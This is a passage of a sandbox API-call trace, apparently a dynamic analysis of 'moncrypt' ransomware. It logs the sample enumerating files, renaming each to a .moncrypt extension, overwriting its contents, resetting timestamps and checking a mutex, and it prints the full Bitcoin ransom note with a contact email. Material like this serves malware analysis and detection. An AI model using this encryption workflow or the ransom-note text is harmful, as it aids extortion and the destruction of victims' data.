ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.162] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.162] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.162] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.162] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.162] GlobalUnlock (hMem=0x440004) returned 0 [0054.162] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.162] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.162] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.162] GlobalUnlock (hMem=0x440004) returned 0 [0054.162] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.162] GlobalUnlock (hMem=0x44000c) returned 0 [0054.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.162] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0054.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0054.163] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0054.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0054.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.163] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.163] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.163] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.moncrypt")) returned 1 [0054.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.166] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.166] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4c45 [0054.166] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.166] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.169] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.169] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.170] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.170] GlobalUnlock (hMem=0x440004) returned 0 [0054.170] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.170] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.170] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.170] GlobalUnlock (hMem=0x440004) returned 0 [0054.170] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.170] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.170] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.170] GlobalUnlock (hMem=0x44000c) returned 0 [0054.170] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.170] GlobalUnlock (hMem=0x440004) returned 0 [0054.170] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.170] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.170] GlobalUnlock (hMem=0x440004) returned 0 [0054.170] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.170] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.170] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.170] GlobalUnlock (hMem=0x440004) returned 0 [0054.170] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.171] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=19525, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4c45 [0054.171] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.171] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.171] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.183] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.183] CloseHandle (hObject=0x18c) returned 1 [0054.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.184] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.184] CloseHandle (hObject=0x18c) returned 1 [0054.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.185] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.185] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.185] GlobalUnlock (hMem=0x440004) returned 0 [0054.185] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.185] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.185] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.185] GlobalUnlock (hMem=0x440004) returned 0 [0054.185] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.185] GlobalUnlock (hMem=0x44000c) returned 0 [0054.185] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41783d20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41783d20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41783d20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.185] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.185] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.185] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.186] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.186] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.186] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.186] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.186] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.186] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.186] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.186] CloseHandle (hObject=0x18c) returned 1 [0054.186] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.186] GetLastError () returned 0x12 [0054.186] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.186] GlobalUnlock (hMem=0x44000c) returned 0 [0054.187] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.187] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.187] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.187] GlobalUnlock (hMem=0x44000c) returned 0 [0054.187] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.187] GlobalUnlock (hMem=0x440004) returned 0 [0054.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41783d20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41783d20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.187] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.187] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.187] GlobalLock (hMem=0x440004) returned 0x550170 [0054.187] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.187] GlobalUnlock (hMem=0x440004) returned 0 [0054.187] GlobalLock (hMem=0x440004) returned 0x550170 [0054.187] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.187] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.187] GlobalUnlock (hMem=0x440004) returned 0 [0054.187] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.187] GlobalUnlock (hMem=0x44000c) returned 0 [0054.187] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.187] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41783d20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41783d20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.187] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.187] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.187] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.187] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.187] GlobalUnlock (hMem=0x44000c) returned 0 [0054.188] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.188] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.188] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.188] GlobalUnlock (hMem=0x44000c) returned 0 [0054.188] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.188] GlobalUnlock (hMem=0x440004) returned 0 [0054.188] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.188] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41783d20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41783d20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41783d20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.188] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.188] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.188] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.188] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.188] GlobalUnlock (hMem=0x440004) returned 0 [0054.188] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.188] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.188] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.188] GlobalUnlock (hMem=0x440004) returned 0 [0054.188] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.188] GlobalUnlock (hMem=0x44000c) returned 0 [0054.188] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.188] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.188] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.188] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.188] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.188] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.188] GlobalUnlock (hMem=0x44000c) returned 0 [0054.188] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.188] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.189] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.189] GlobalUnlock (hMem=0x44000c) returned 0 [0054.189] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.189] GlobalUnlock (hMem=0x440004) returned 0 [0054.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.189] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM.moncrypt", cAlternateFileName="SPRING~1.MON")) returned 1 [0054.189] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.189] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.189] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.189] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.189] GlobalUnlock (hMem=0x440004) returned 0 [0054.189] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.189] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.189] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.189] GlobalUnlock (hMem=0x440004) returned 0 [0054.189] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.189] GlobalUnlock (hMem=0x44000c) returned 0 [0054.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.189] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: 